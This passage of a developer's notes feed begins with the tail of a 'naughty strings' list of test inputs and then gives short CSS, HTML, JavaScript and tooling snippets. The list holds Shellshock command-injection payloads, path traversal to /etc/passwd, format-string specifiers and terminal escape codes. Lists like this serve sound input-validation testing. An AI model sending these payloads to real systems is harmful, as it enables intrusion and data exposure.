# Strings which can be accidentally expanded into different strings if evaluated in the wrong context, e.g. used as a printf format string or via Perl or shell eval. Might expose sensitive data from the program doing the interpolation, or might just represent the wrong string.

$HOME
$ENV{&apos;HOME&apos;}
%d
%s%s%s%s%s
{0}
%*.*s
%@
%n
File:///

# File Inclusion
#
# Strings which can cause user to pull in files that should not be a part of a web server

../../../../../../../../../../../etc/passwd%00
../../../../../../../../../../../etc/hosts

# Known CVEs and Vulnerabilities
#
# Strings that test for known vulnerabilities

() { 0; }; touch /tmp/blns.shellshock1.fail;
() { _; } &amp;gt;_[$($())] { touch /tmp/blns.shellshock2.fail; }
&amp;lt;&amp;lt;&amp;lt; %s(un=&apos;%s&apos;) = %u
+++ATH0

# MSDOS/Windows Special Filenames
#
# Strings which are reserved characters in MSDOS/Windows

CON
PRN
AUX
CLOCK$
NUL
A:
ZZ:
COM1
LPT1
LPT2
LPT3
COM2
COM3
COM4

#   IRC specific strings
#
#   Strings that may occur on IRC clients that make security products freak out

DCC SEND STARTKEYLOGGER 0 0 0

# Scunthorpe Problem
#
# Innocuous strings which may be blocked by profanity filters (https://en.wikipedia.org/wiki/Scunthorpe_problem)

Scunthorpe General Hospital
Penistone Community Church
Lightwater Country Park
Jimmy Clitheroe
Horniman Museum
shitake mushrooms
RomansInSussex.co.uk
http://www.cum.qc.ca/
Craig Cockburn, Software Specialist
Linda Callahan
Dr. Herman I. Libshitz
magna cum laude
Super Bowl XXX
medieval erection of parapets
evaluate
mocha
expression
Arsenal canal
classic
Tyson Gay
Dick Van Dyke
basement

# Human injection
#
# Strings which may cause human to reinterpret worldview

If you&apos;re reading this, you&apos;ve been in a coma for almost 20 years now. We&apos;re trying a new technique. We don&apos;t know where this message will end up in your dream, but we hope it works. Please wake up, we miss you.

# Terminal escape codes
#
# Strings which punish the fools who use cat/type on this file

Roses are [0;31mred[0m, violets are [0;34mblue. Hope you enjoy terminal hue
But now...[20Cfor my greatest trick...[8m
The quick brown fox... [Beeeep]

# iOS Vulnerabilities
#
# Strings which crashed iMessage in various versions of iOS

Powerلُلُصّبُلُلصّبُررً ॣ ॣh ॣ ॣ冗
🏳0🌈️
జ్ఞ‌ా

# Persian special characters
#
# This is a four characters string which includes Persian special characters (گچپژ)

گچپژ
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><author>Zander Martineau</author></item><item><title>Fixed-width numbers</title><link>https://zander.wtf/notes/fixed-width-numbers/</link><guid isPermaLink="true">https://zander.wtf/notes/fixed-width-numbers/</guid><pubDate>Mon, 11 May 2020 00:00:00 GMT</pubDate><content:encoded>&lt;pre&gt;&lt;code&gt;.yourClass {
  font-variant-numeric: tabular-nums;
}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>css</category><author>Zander Martineau</author></item><item><title>Handling Long Words and URLs (Forcing Breaks, Hyphenation, Ellipsis, etc)</title><link>https://zander.wtf/notes/long-words-links/</link><guid isPermaLink="true">https://zander.wtf/notes/long-words-links/</guid><description>Preventing Overflow with Ellipsis Another approach to consider is truncating the text altogether and adding ellipses where the string of text hits the…</description><pubDate>Mon, 11 May 2020 00:00:00 GMT</pubDate><content:encoded>&lt;pre&gt;&lt;code&gt;.dont-break-out {
  /* These are technically the same, but use both */
  overflow-wrap: break-word;
  word-wrap: break-word;

  -ms-word-break: break-all;
  /* This is the dangerous one in WebKit, as it breaks things wherever */
  word-break: break-all;
  /* Instead use this non-standard one: */
  word-break: break-word;

  /* Adds a hyphen where the word breaks, if supported (No Blink) */
  -ms-hyphens: auto;
  -moz-hyphens: auto;
  -webkit-hyphens: auto;
  hyphens: auto;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Preventing Overflow with Ellipsis&lt;/h3&gt;
&lt;p&gt;Another approach to consider is truncating the text altogether and adding ellipses where the string of text hits the container:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.ellipses {
  overflow: hidden;
  white-space: nowrap;
  text-overflow: ellipsis;
}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>css</category><author>Zander Martineau</author></item><item><title>Opengraph metacrap</title><link>https://zander.wtf/notes/opengraph-metacrap/</link><guid isPermaLink="true">https://zander.wtf/notes/opengraph-metacrap/</guid><description>Everything you ever wanted to know about unfurling but were afraid to ask /or/ How to make your site previews look amazing in Slack Facebook:…</description><pubDate>Mon, 11 May 2020 00:00:00 GMT</pubDate><content:encoded>&lt;pre&gt;&lt;code&gt;&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html lang=&quot;en&quot;&amp;gt;
  &amp;lt;head&amp;gt;
    &amp;lt;title&amp;gt;&amp;lt;/title&amp;gt;
    &amp;lt;meta charset=&quot;utf-8&quot; /&amp;gt;
    &amp;lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1&quot; /&amp;gt;
    &amp;lt;meta name=&quot;author&quot; content=&quot;&quot; /&amp;gt;
    &amp;lt;meta name=&quot;description&quot; content=&quot;&quot; /&amp;gt;

    &amp;lt;!-― facebook open graph tags --&amp;gt;
    &amp;lt;meta property=&quot;og:type&quot; content=&quot;website&quot; /&amp;gt;
    &amp;lt;meta property=&quot;og:url&quot; content=&quot;&quot; /&amp;gt;
    &amp;lt;meta property=&quot;og:title&quot; content=&quot;&quot; /&amp;gt;
    &amp;lt;meta property=&quot;og:description&quot; content=&quot;&quot; /&amp;gt;
    &amp;lt;meta property=&quot;og:image&quot; content=&quot;&quot; /&amp;gt;

    &amp;lt;!-― twitter card tags additive with the og: tags --&amp;gt;
    &amp;lt;meta name=&quot;twitter:card&quot; content=&quot;summary_large_image&quot; /&amp;gt;
    &amp;lt;meta name=&quot;twitter:domain&quot; value=&quot;&quot; /&amp;gt;
    &amp;lt;meta name=&quot;twitter:title&quot; value=&quot;&quot; /&amp;gt;
    &amp;lt;meta name=&quot;twitter:description&quot; value=&quot;&quot; /&amp;gt;
    &amp;lt;meta name=&quot;twitter:image&quot; content=&quot;&quot; /&amp;gt;
    &amp;lt;meta name=&quot;twitter:url&quot; value=&quot;&quot; /&amp;gt;
    &amp;lt;meta name=&quot;twitter:label1&quot; value=&quot;&quot; /&amp;gt;
    &amp;lt;meta name=&quot;twitter:data1&quot; value=&quot;&quot; /&amp;gt;
    &amp;lt;meta name=&quot;twitter:label2&quot; value=&quot;&quot; /&amp;gt;
    &amp;lt;meta name=&quot;twitter:data2&quot; value=&quot;&quot; /&amp;gt;

    &amp;lt;link href=&quot;style.css&quot; rel=&quot;stylesheet&quot; /&amp;gt;
    &amp;lt;link rel=&quot;icon&quot; type=&quot;image/svg+xml&quot; href=&quot;/favicon.svg&quot; /&amp;gt;
  &amp;lt;/head&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;a href=&quot;https://medium.com/slack-developer-blog/everything-you-ever-wanted-to-know-about-unfurling-but-were-afraid-to-ask-or-how-to-make-your-e64b4bb9254&quot;&gt;Everything you ever wanted to know about unfurling but were afraid to ask /or/ How to make your site previews look amazing in Slack&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Facebook: https://developers.facebook.com/docs/sharing/webmasters&lt;/p&gt;
&lt;p&gt;https://sproutsocial.com/insights/social-media-image-sizes-guide/&lt;/p&gt;
&lt;h2&gt;&lt;a href=&quot;https://metatags.io/&quot;&gt;Metatags.io&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Metatags.io is a very useful service to validate your metatags but also to generate the code needed for them too.&lt;/p&gt;
</content:encoded><category>html</category><author>Zander Martineau</author></item><item><title>Cutting the mustard</title><link>https://zander.wtf/notes/cutting-the-mustard/</link><guid isPermaLink="true">https://zander.wtf/notes/cutting-the-mustard/</guid><description>Basic example More complex example Taken from https://barilla.com</description><pubDate>Thu, 07 May 2020 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Basic example&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;if (
  &apos;querySelector&apos; in document &amp;amp;&amp;amp;
  &apos;localStorage&apos; in window &amp;amp;&amp;amp;
  &apos;addEventListener&apos; in window &amp;amp;&amp;amp;
  &apos;classList&apos; in document.documentElement
) {
  ;(function (H) {
    H.className = H.className.replace(/\bbase\b/, &apos;enhanced&apos;)
  })(document.documentElement)
  window.lp.enhanced = true
}

// or invert it so that extra scripts/polyfills can be loaded
if (
  !(
    &apos;querySelector&apos; in doc &amp;amp;&amp;amp;
    &apos;addEventListener&apos; in window &amp;amp;&amp;amp;
    &apos;classList&apos; in docElem
  )
) {
  // basic browsers: last stop here!
  loadJS(&apos;/assets/js/standalone/shims.js&apos;)
  loadJS(&apos;/assets/js/standalone/matchMedia.js&apos;)
  return
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;More complex example&lt;/h2&gt;
&lt;p&gt;Taken from https://barilla.com&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// Many things taken from https://github.com/filamentgroup/enhance
;(function (window, undefined) {
  &apos;use strict&apos;

  var enhance = { enhanced: false },
    doc = window.document,
    docElem = doc.documentElement
  docElem.className = docElem.className.replace(/\bno-js\b/g, &apos;&apos;) + &apos; js &apos;

  // loadJS: load a JS file asynchronously. Included from https://github.com/filamentgroup/loadJS/
  // prettier-ignore
  function loadJS(e,t){&quot;use strict&quot;;var n=window.document.getElementsByTagName(&quot;script&quot;)[0],o=window.document.createElement(&quot;script&quot;);return o.src=e,o.async=!0,n.parentNode.insertBefore(o,n),t&amp;amp;&amp;amp;&quot;function&quot;==typeof t&amp;amp;&amp;amp;(o.onload=t),o}
  window.loadJS = enhance.loadJS = loadJS

  // loadCSS: load a CSS file asynchronously. Included from https://github.com/filamentgroup/loadCSS/
  // prettier-ignore
  function loadCSS(e,t,n){function o(){for(var t,i=0;i&amp;lt;d.length;i++)d[i].href&amp;amp;&amp;amp;d[i].href.indexOf(e)&amp;gt;-1&amp;amp;&amp;amp;(t=!0);t?r.media=n||&quot;all&quot;:setTimeout(o)}var r=window.document.createElement(&quot;link&quot;),i=t||window.document.getElementsByTagName(&quot;script&quot;)[0],d=window.document.styleSheets;return r.rel=&quot;stylesheet&quot;,r.href=e,r.media=&quot;only x&quot;,i.parentNode.insertBefore(r,i),o(),r}
  window.loadCSS = enhance.loadCSS = loadCSS

  /* Enhancements for qualified browsers - &quot;Cutting the Mustard&quot; */
  if (
    !(
      &apos;querySelector&apos; in doc &amp;amp;&amp;amp;
      &apos;addEventListener&apos; in window &amp;amp;&amp;amp;
      &apos;classList&apos; in docElem
    )
  ) {
    // basic browsers: last stop here!
    loadJS(&apos;/assets/js/standalone/shims.js&apos;)
    loadJS(&apos;/assets/js/standalone/matchMedia.js&apos;)
    return
  }

  // From here on we&apos;re dealing with qualified browsers.
  docElem.classList.add(&apos;is-enhanced&apos;)
  window.enhance = enhance
  window.enhance.enhanced = true

  if (sessionStorage.fontsLoaded) {
    docElem.classList.add(&apos;fonts-loaded&apos;)
  } else {
    // Font-face observer: https://github.com/bramstein/fontfaceobserver
    // prettier-ignore
    (function(){&apos;use strict&apos;;var f=[];function g(a){f.push(a);1===f.length&amp;amp;&amp;amp;l()}function m(){for(;f.length;)f[0](),f.shift()}if(window.MutationObserver){var n=document.createElement(&quot;div&quot;);(new MutationObserver(m)).observe(n,{attributes:!0});var l=function(){n.setAttribute(&quot;x&quot;,0)}}else l=function(){setTimeout(m)};function p(a){this.a=q;this.b=void 0;this.f=[];var b=this;try{a(function(a){r(b,a)},function(a){t(b,a)})}catch(c){t(b,c)}}var q=2;function u(a){return new p(function(b,c){c(a)})}function v(a){return new p(function(b){b(a)})}function r(a,b){if(a.a===q){if(b===a)throw new TypeError(&quot;Promise settled with itself.&quot;);var c=!1;try{var d=b&amp;amp;&amp;amp;b.then;if(null!==b&amp;amp;&amp;amp;&quot;object&quot;===typeof b&amp;amp;&amp;amp;&quot;function&quot;===typeof d){d.call(b,function(b){c||r(a,b);c=!0},function(b){c||t(a,b);c=!0});return}}catch(e){c||t(a,e);return}a.a=0;a.b=b;w(a)}}function t(a,b){if(a.a===q){if(b===a)throw new TypeError(&quot;Promise settled with itself.&quot;);a.a=1;a.b=b;w(a)}}function w(a){g(function(){if(a.a!==q)for(;a.f.length;){var b=a.f.shift(),c=b[0],d=b[1],e=b[2],b=b[3];try{0===a.a?&quot;function&quot;===typeof c?e(c.call(void 0,a.b)):e(a.b):1===a.a&amp;amp;&amp;amp;(&quot;function&quot;===typeof d?e(d.call(void 0,a.b)):b(a.b))}catch(h){b(h)}}})}p.prototype.g=function(a){return this.c(void 0,a)};p.prototype.c=function(a,b){var c=this;return new p(function(d,e){c.f.push([a,b,d,e]);w(c)})};function x(a){return new p(function(b,c){function d(c){return function(d){h[c]=d;e+=1;e===a.length&amp;amp;&amp;amp;b(h)}}var e=0,h=[];0===a.length&amp;amp;&amp;amp;b(h);for(var k=0;k&amp;lt;a.length;k+=1)v(a[k]).c(d(k),c)})}function y(a){return new p(function(b,c){for(var d=0;d&amp;lt;a.length;d+=1)v(a[d]).c(b,c)})};window.Promise||(window.Promise=p,window.Promise.resolve=v,window.Promise.reject=u,window.Promise.race=y,window.Promise.all=x,window.Promise.prototype.then=p.prototype.c,window.Promise.prototype[&quot;catch&quot;]=p.prototype.g);}());
    // prettier-ignore
    (function(){&apos;use strict&apos;;function h(a){document.body?a():document.addEventListener(&quot;DOMContentLoaded&quot;,a)};function v(a){this.a=document.createElement(&quot;div&quot;);this.a.setAttribute(&quot;aria-hidden&quot;,&quot;true&quot;);this.a.appendChild(document.createTextNode(a));this.b=document.createElement(&quot;span&quot;);this.c=document.createElement(&quot;span&quot;);this.h=document.createElement(&quot;span&quot;);this.g=document.createElement(&quot;span&quot;);this.f=-1;this.b.style.cssText=&quot;display:inline-block;position:absolute;height:100%;width:100%;overflow:scroll;font-size:16px;&quot;;this.c.style.cssText=&quot;display:inline-block;position:absolute;height:100%;width:100%;overflow:scroll;font-size:16px;&quot;;this.g.style.cssText=&quot;display:inline-block;position:absolute;height:100%;width:100%;overflow:scroll;font-size:16px;&quot;;this.h.style.cssText=&quot;display:inline-block;width:200%;height:200%;font-size:16px;&quot;;this.b.appendChild(this.h);this.c.appendChild(this.g);this.a.appendChild(this.b);this.a.appendChild(this.c)}function w(a,c,b){a.a.style.cssText=&quot;min-width:20px;min-height:20px;display:inline-block;overflow:hidden;position:absolute;width:auto;margin:0;padding:0;top:-999px;left:-999px;white-space:nowrap;font-size:100px;font-family:&quot;+c+&quot;;&quot;+b}function x(a){var c=a.a.offsetWidth,b=c+100;a.g.style.width=b+&quot;px&quot;;a.c.scrollLeft=b;a.b.scrollLeft=a.b.scrollWidth+100;return a.f!==c?(a.f=c,!0):!1}function y(a,c){a.b.addEventListener(&quot;scroll&quot;,function(){x(a)&amp;amp;&amp;amp;null!==a.a.parentNode&amp;amp;&amp;amp;c(a.f)},!1);a.c.addEventListener(&quot;scroll&quot;,function(){x(a)&amp;amp;&amp;amp;null!==a.a.parentNode&amp;amp;&amp;amp;c(a.f)},!1);x(a)};function z(a,c){var b=c||{};this.family=a;this.style=b.style||&quot;normal&quot;;this.variant=b.variant||&quot;normal&quot;;this.weight=b.weight||&quot;normal&quot;;this.stretch=b.stretch||&quot;normal&quot;;this.featureSettings=b.featureSettings||&quot;normal&quot;}var B=null;z.prototype.a=function(a,c){var b=a||&quot;BESbswy&quot;,C=c||3E3,k=&quot;font-style:&quot;+this.style+&quot;;font-variant:&quot;+this.variant+&quot;;font-weight:&quot;+this.weight+&quot;;font-stretch:&quot;+this.stretch+&quot;;font-feature-settings:&quot;+this.featureSettings+&quot;;-moz-font-feature-settings:&quot;+this.featureSettings+&quot;;-webkit-font-feature-settings:&quot;+this.featureSettings+&quot;;&quot;,g=document.createElement(&quot;div&quot;),l=new v(b),m=new v(b),n=new v(b),d=-1,e=-1,f=-1,q=-1,r=-1,t=-1,p=this;return new Promise(function(a,b){function c(){null!==g.parentNode&amp;amp;&amp;amp;g.parentNode.removeChild(g)}function u(){if(-1!==d&amp;amp;&amp;amp;-1!==e||-1!==d&amp;amp;&amp;amp;-1!==f||-1!==e&amp;amp;&amp;amp;-1!==f)if(d===e||d===f||e===f){if(null===B){var b=/AppleWebKit\/([0-9]+)(?:\.([0-9]+))/.exec(window.navigator.userAgent);B=!!b&amp;amp;&amp;amp;(536&amp;gt;parseInt(b[1],10)||536===parseInt(b[1],10)&amp;amp;&amp;amp;11&amp;gt;=parseInt(b[2],10))}B?d===q&amp;amp;&amp;amp;e===q&amp;amp;&amp;amp;f===q||d===r&amp;amp;&amp;amp;e===r&amp;amp;&amp;amp;f===r||d===t&amp;amp;&amp;amp;e===t&amp;amp;&amp;amp;f===t||(c(),a(p)):(c(),a(p))}}h(function(){function a(){if(Date.now()-D&amp;gt;=C)c(),b(p);else{var A=document.hidden;if(!0===A||void 0===A)d=l.a.offsetWidth,e=m.a.offsetWidth,f=n.a.offsetWidth,u();setTimeout(a,50)}}var D=Date.now();w(l,&quot;sans-serif&quot;,k);w(m,&quot;serif&quot;,k);w(n,&quot;monospace&quot;,k);g.appendChild(l.a);g.appendChild(m.a);g.appendChild(n.a);document.body.appendChild(g);q=l.a.offsetWidth;r=m.a.offsetWidth;t=n.a.offsetWidth;a();y(l,function(a){d=a;u()});w(l,&apos;&quot;&apos;+p.family+&apos;&quot;,sans-serif&apos;,k);y(m,function(a){e=a;u()});w(m,&apos;&quot;&apos;+p.family+&apos;&quot;,serif&apos;,k);y(n,function(a){f=a;u()});w(n,&apos;&quot;&apos;+p.family+&apos;&quot;,monospace&apos;,k)})})};window.FontFaceObserver=z;window.FontFaceObserver.prototype.check=z.prototype.a;}());

    // Check for font so we can handle FOUT/FOIT consistently across all devices
    var fontfaceobserver = new FontFaceObserver(&apos;HurmeGeometricSans4&apos;, {})
    fontfaceobserver.check().then(function () {
      docElem.classList.add(&apos;fonts-loaded&apos;)
      sessionStorage.fontsLoaded = true
    })
  }
})(this)
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>javascript</category><author>Zander Martineau</author></item><item><title>Clear DNS cache</title><link>https://zander.wtf/notes/clear-dns-cache/</link><guid isPermaLink="true">https://zander.wtf/notes/clear-dns-cache/</guid><description>OS X 10.11, 10.12+ (El Capitan, Sierra): Source: https://superuser.com/a/547218/89928 In Chrome Navigate to chrome://net-internals/#dns and press the…</description><pubDate>Thu, 30 Apr 2020 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;OS X 10.11, 10.12+ (El Capitan, Sierra):&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;sudo killall -HUP mDNSResponder
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Source: https://superuser.com/a/547218/89928&lt;/p&gt;
&lt;h2&gt;In Chrome&lt;/h2&gt;
&lt;p&gt;Navigate to &lt;a&gt;&lt;code&gt;chrome://net-internals/#dns&lt;/code&gt;&lt;/a&gt; and press the &quot;Clear host cache&quot; button.&lt;/p&gt;
</content:encoded><author>Zander Martineau</author></item><item><title>Classes</title><link>https://zander.wtf/notes/js-classes/</link><guid isPermaLink="true">https://zander.wtf/notes/js-classes/</guid><pubDate>Sat, 11 Apr 2020 00:00:00 GMT</pubDate><content:encoded>&lt;pre&gt;&lt;code&gt;class Parent {
  constructor(options) {
    this.title = options.title
    this.desc = options.desc
  }

  getMetadata() {
    return {
      title: this.title,
      desc: this.desc,
    }
  }
}

class Child extends Parent {
  constructor(parentOptions, childOptions) {
    super(parentOptions, childOptions)
    this.data = childOptions
  }

  getInfo() {
    return `${this.title} + ${this.desc} + ${JSON.stringify(this.data)}`
  }

  render() {}
}

const Bamber = new Child(
  {
    title: &apos;Bamber&apos;,
    desc: &apos;baby&apos;,
  },
  {
    foo: &apos;bar&apos;,
  }
)

console.log(JSON.stringify(Bamber.getMetadata()))
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>javascript</category><author>Zander Martineau</author></item><item><title>Create local self-signed certificate</title><link>https://zander.wtf/notes/create-local-self-signed-certs/</link><guid isPermaLink="true">https://zander.wtf/notes/create-local-self-signed-certs/</guid><description>Use mkcert https://github.com/FiloSottile/mkcert Install Run This will add the certificate and key into whichever directory you ran the script in Use…</description><pubDate>Mon, 06 Apr 2020 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Use mkcert&lt;/h2&gt;
&lt;p&gt;https://github.com/FiloSottile/mkcert&lt;/p&gt;
&lt;h3&gt;Install&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;brew install mkcert
brew install nss
mkcert -install
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;$ mkcert -install
Created a new local CA at &quot;/Users/zander/Library/Application Support/mkcert&quot; 💥
The local CA is now installed in the system trust store! ⚡️
The local CA is now installed in the Firefox trust store (requires browser restart)! 🦊
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Run&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;mkcert localhost 127.0.0.1 ::1
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;$ mkcert localhost 127.0.0.1 ::1
Using the local CA at &quot;/Users/zander/Library/Application Support/mkcert&quot; ✨

Created a new certificate valid for the following names 📜
 - &quot;localhost&quot;
 - &quot;127.0.0.1&quot;
 - &quot;::1&quot;

The certificate is at &quot;./localhost+2.pem&quot; and the key at &quot;./localhost+2-key.pem&quot; ✅
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This will add the certificate and key into whichever directory you ran the script in&lt;/p&gt;
&lt;h2&gt;Use openssl&lt;/h2&gt;
&lt;p&gt;Run this then follow the instructions.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout ./server.key -out ./server.crt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is not nearly as good as mkcert though.&lt;/p&gt;
</content:encoded><author>Zander Martineau</author></item><item><title>Cleanup / optimise computer</title><link>https://zander.wtf/notes/cleanup-node-modules/</link><guid isPermaLink="true">https://zander.wtf/notes/cleanup-node-modules/</guid><description>https://medium.freecodecamp.org/how-to-free-up-space-on-your-developer-mac-f542f66ddfb https://gist.github.com/Aidurber/7549d3f83b00052cee745a6c4dcf7b9d…</description><pubDate>Thu, 26 Mar 2020 00:00:00 GMT</pubDate><content:encoded>&lt;ul&gt;
&lt;li&gt;https://medium.freecodecamp.org/how-to-free-up-space-on-your-developer-mac-f542f66ddfb&lt;/li&gt;
&lt;li&gt;https://gist.github.com/Aidurber/7549d3f83b00052cee745a6c4dcf7b9d&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;find . -name &quot;node_modules&quot; -type d -mtime +120 | xargs rm -rf
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;mtime&lt;/code&gt; arg is in days, e.g. &lt;code&gt;120&lt;/code&gt; is about 4 months &amp;amp; &lt;code&gt;240&lt;/code&gt; is about 8 months`&lt;/p&gt;
</content:encoded><author>Zander Martineau</author></item><item><title>CSS Filters</title><link>https://zander.wtf/notes/css-filters/</link><guid isPermaLink="true">https://zander.wtf/notes/css-filters/</guid><description>Docs: http://developer.mozilla.org/en-US/docs/Web/CSS/filter</description><pubDate>Thu, 26 Mar 2020 00:00:00 GMT</pubDate><content:encoded>&lt;pre&gt;&lt;code&gt;/* URL to SVG filter */
filter: url(&apos;filters.svg#filter-id&apos;);

/* &amp;lt;filter-function&amp;gt; values */
filter: blur(5px);
filter: brightness(0.4);
filter: contrast(200%);
filter: drop-shadow(16px 16px 20px blue);
filter: grayscale(50%);
filter: hue-rotate(90deg);
filter: invert(75%);
filter: opacity(25%);
filter: saturate(30%);
filter: sepia(60%);

/* Multiple filters */
filter: contrast(175%) brightness(3%);

/* Use no filter */
filter: none;

/* Global values */
filter: inherit;
filter: initial;
filter: unset;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Docs: http://developer.mozilla.org/en-US/docs/Web/CSS/filter&lt;/p&gt;
</content:encoded><category>css</category><author>Zander Martineau</author></item><item><title>Favicons</title><link>https://zander.wtf/notes/favicons/</link><guid isPermaLink="true">https://zander.wtf/notes/favicons/</guid><description>Light and dark themed SVG favicon using the CSS prefers-color-scheme media feature https://css-tricks.com/favicon-quiz https://realfavicongenerator.net/</description><pubDate>Thu, 26 Mar 2020 00:00:00 GMT</pubDate><content:encoded>&lt;pre&gt;&lt;code&gt;&amp;lt;link rel=&quot;icon&quot; href=&quot;/favicon.svg&quot; type=&quot;image/svg+xml&quot; /&amp;gt;
&amp;lt;link rel=&quot;icon&quot; href=&quot;/favicon.png&quot; type=&quot;image/png&quot; /&amp;gt;

&amp;lt;!-- Could use the `sizes` attr too --&amp;gt;
&amp;lt;link rel=&quot;icon&quot; type=&quot;image/png&quot; href=&quot;/favicon-16x16.png&quot; sizes=&quot;16x16&quot; /&amp;gt;
&amp;lt;link rel=&quot;icon&quot; type=&quot;image/png&quot; href=&quot;/favicon-32x32.png&quot; sizes=&quot;32x32&quot; /&amp;gt;
&amp;lt;link rel=&quot;icon&quot; type=&quot;image/png&quot; href=&quot;/favicon-96x96.png&quot; sizes=&quot;96x96&quot; /&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;a href=&quot;https://catalin.red/svg-favicon-light-dark-theme/&quot;&gt;Light and dark themed SVG favicon using the CSS prefers-color-scheme media feature&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;https://css-tricks.com/favicon-quiz&lt;/p&gt;
&lt;p&gt;https://realfavicongenerator.net/&lt;/p&gt;
</content:encoded><category>html</category><author>Zander Martineau</author></item><item><title>Picture element</title><link>https://zander.wtf/notes/picture/</link><guid isPermaLink="true">https://zander.wtf/notes/picture/</guid><description>Webp + png usage</description><pubDate>Thu, 26 Mar 2020 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Webp + png usage&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;picture&amp;gt;
  &amp;lt;source
    type=&quot;image/webp&quot;
    srcset=&quot;/images/free-cash.webp, /images/free-cash@2x.webp 2x&quot;
  /&amp;gt;
  &amp;lt;source
    type=&quot;image/png&quot;
    srcset=&quot;/images/free-cash.png, /images/free-cash@2x.png 2x&quot;
  /&amp;gt;
  &amp;lt;img src=&quot;/images/free-cash.png&quot; alt=&quot;Free Cash!&quot; /&amp;gt;
&amp;lt;/picture&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>html</category><author>Zander Martineau</author></item><item><title>Node Security</title><link>https://zander.wtf/notes/security/</link><guid isPermaLink="true">https://zander.wtf/notes/security/</guid><description>OWASP Top Ten Node Node Security best practices eslint-plugin-security Express middlewares helmet express-defend guestlist Threat modelling STRIDE | Threat…</description><pubDate>Thu, 26 Mar 2020 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://owasp.org/www-project-top-ten/&quot;&gt;OWASP Top Ten&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;Node&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/goldbergyoni/nodebestpractices#6-security-best-practices&quot;&gt;Node Security best practices&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/nodesecurity/eslint-plugin-security&quot;&gt;eslint-plugin-security&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Express middlewares&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/helmetjs/helmet&quot;&gt;helmet&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/akos-sereg/express-defend&quot;&gt;express-defend&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/i-like-robots/guestlist&quot;&gt;guestlist&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Threat modelling&lt;/h2&gt;
&lt;h3&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/STRIDE_%28security%29&quot;&gt;STRIDE&lt;/a&gt;&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Threat&lt;/th&gt;
&lt;th&gt;Desired property&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Spoofing_attack&quot;&gt;&lt;strong&gt;S&lt;/strong&gt;poofing&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Authenticity&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Tampering_(crime)&quot;&gt;&lt;strong&gt;T&lt;/strong&gt;ampering&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Integrity&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Non-repudiation&quot;&gt;&lt;strong&gt;R&lt;/strong&gt;epudiation&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Non-repudiability&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;I&lt;/strong&gt;nformation disclosure (&lt;a href=&quot;https://en.wikipedia.org/wiki/Data_privacy&quot;&gt;privacy breach&lt;/a&gt; or &lt;a href=&quot;https://en.wikipedia.org/wiki/Data_leak&quot;&gt;data leak&lt;/a&gt;)&lt;/td&gt;
&lt;td&gt;Confidentiality&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
